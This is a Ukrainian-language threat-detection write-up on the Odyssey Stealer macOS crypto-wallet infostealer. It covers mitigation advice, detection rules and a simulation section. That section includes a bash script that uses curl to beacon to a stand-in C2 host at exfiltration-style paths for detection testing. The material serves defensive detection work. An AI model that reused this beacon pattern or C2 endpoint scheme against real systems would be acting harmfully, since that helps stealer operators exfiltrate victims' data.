Odyssey Stealer: Всередині операції з викрадення криптовалюти на macOS
Detection stack
- AIDR
- Alert
- ETL
- Query
Резюме
Odyssey Stealer – це інфостілер для macOS, який зосереджується на криптовалютних гаманцях та розширеннях. Він рекламується як платформа Malware-as-a-Service, де афілійовані особи орендують доступ до централізованого C2 та панелі адміністратора. Доставлення зазвичай покладається на зашифрований AppleScript, який встановлює стійкий LaunchDaemon, що опитує C2 для отримання команд. Оператор також може замінити легітимні додатки Ledger і Trezor на троянізовані збірки для захоплення облікових даних та даних транзакцій.
Розслідування
Дослідники ідентифікували C2 за допомогою унікальних HTML мета тегів, хешів тіла сторінки та загального хеша фавікона. Вони відстежили десять фізичних хостів по кількох кластерах ASN, переважно в Європі та Нідерландах. Розбір вантажу показав багатоступеневий завантажувач AppleScript, стійкість LaunchDaemon та Go-компільовану SOCKS5 проксі. Дані конфігурації, вбудовані в завантажувач, розкривали ідентифікатори афілійованих осіб та ідентифікатори збірок.
Пом’якшення
Слідкуйте за підозрілою активністю osascript, особливо за довгими зашифрованими рядками, невідомими файлами plist LaunchDaemon з випадковими ярликами та вихідними запитами POST до точок входу “/log”. Отримуйте сповіщення про бінарні файли, запущені LaunchDaemon, та підозрілу активність SOCKS5. Перевірте підпис коду для додатків Ledger і Trezor, а також блокуйте відомі домени C2 та IP-адреси. Навчайте користувачів сприймати несподівані запити паролів та “оновлення гаманця” як високий ризик.
Реагування
Після виявлення ізолюйте систему, завершіть шкідливий LaunchDaemon та видаліть троянізовані гаманці. Захопіть мережевий трафік до ідентифікованих доменів C2 та IP для розслідування, потім скиньте скомпрометовані облікові дані криптовалют і змініть паролі macOS. Виконайте повний судово-медичний огляд для виявлення додаткових артефактів.
Потік атаки
Виявлення
macOS Shell архівування даних падтримки застосунків (через cmdline)
Перегляд
macOS Osascript запуск curl (через cmdline)
Перегляд
macOS Shell запис до директорії LaunchDaemons (через file_event)
Перегляд
IOCs (SourceIP) для виявлення: Odyssey Stealer: В середині операції з крадіжки криптовалют macOS
Перегляд
IOCs (DestinationIP) для виявлення: Odyssey Stealer: В середині операції з крадіжки криптовалют macOS
Перегляд
IOCs (HashSha256) для виявлення: Odyssey Stealer: В середині операції з крадіжки криптовалют macOS
Перегляд
IOCs (HashMd5) для виявлення: Odyssey Stealer: В середині операції з крадіжки криптовалют macOS
Перегляд
Odyssey Stealer: Виявлення кінцевих точок C2 [Вебсервер]
Перегляд
Odyssey Stealer: Виявлення зашифрованого AppleScript та використання Curl [Linux Process Creation]
Перегляд
Виконання симуляції
Передумова: Телеметрія та перевірка зразка повинні пройти.
-
Сценарій атаки та команди:
Противник розгорнув Odyssey Stealer на робочій станції macOS. Після компрометації користувача, шкідливе ПЗ ініціює маяк на свій C2 сервер для завантаження додаткових завантажень та екстракції зібраних даних. Маяк використовує стандартнийcurlбінарний (підписаний Apple бінарний) для здійснення HTTP GET запитів до C2 точок, визначених у правилі. Атакуючий вибирає ці специфічні URI шляхи, тому що вони короткі, зливаються з типовим веб-трафіком та уникають виявлення через загальні рішення фільтрації URL.Кроки:
- Розв’язати ім’я хосту C2 (змодульоване як
c2.odyssey.example.com). - Здійснити GET запит до
/d/aff123456– імітує закінчувальну точку ексфільтрації з випадковим кодом афілійованої особи та числовим токеном. - Здійснити GET запит до
/api/v1/bot/– імітує сигнал управління ботами. - Опціонально, надіслати запит до
/logщоб імітувати внутрішній трафік логування, який використовується шкідливим програмним забезпеченням для звітування про стани.
- Розв’язати ім’я хосту C2 (змодульоване як
-
Сценарій регресійного тестування: Наступний сценарій bash відтворює точний трафік, необхідний для викликання правила виявлення.
#!/usr/bin/env bash # Імітація маяка Odyssey Stealer для перевірки виявлення # Вимоги: curl, мережева проксі налаштована відповідно до передпрохідних кроків C2_HOST="c2.odyssey.example.com" PROXY_HOST="127.0.0.1:3128" # налаштуйте на адресу вашої проксі Squid # Функція надсилання запиту через проксі send_request() { local path=$1 echo "[*] Надсилання запиту до https://${C2_HOST}${path} через проксі ${PROXY_HOST}" curl -x "$PROXY_HOST" -s -o /dev/null "https://${C2_HOST}${path}" } # 1. Точка ексфільтрації даних (випадковий афілійований + цифри) AFFILIATE="aff$(shuf -i 1000-9999 -n 1)" DIGITS=$(shuf -i 10000-99999 -n 1) send_request "/d/${AFFILIATE}${DIGITS}" # 2. Сигнал управління ботами send_request "/api/v1/bot/" # 3. Опціональна точка логування send_request "/log" echo "[+] Імітація завершена. Перевірте сповіщення в SIEM."Збережіть сценарій як
odyssey_beacon.sh, зробіть його виконуваним (chmod +x odyssey_beacon.sh) та запустіть його на тестовому хості macOS. -
Команди очищення: Видаліть будь-які тимчасові файли та, за бажанням, вимкніть проксі для тестового користувача.
# Вимкніть налаштування проксі для інтерфейсу Wi-Fi networksetup -setwebproxystate "Wi-Fi" off networksetup -setsecurewebproxystate "Wi-Fi" off # (Опціонально) Зупиніть Squid, якщо він був запущений виключно для цього тесту # brew services stop squid echo "Налаштування проксі відновлені, а Squid зупинено (якщо застосовно)."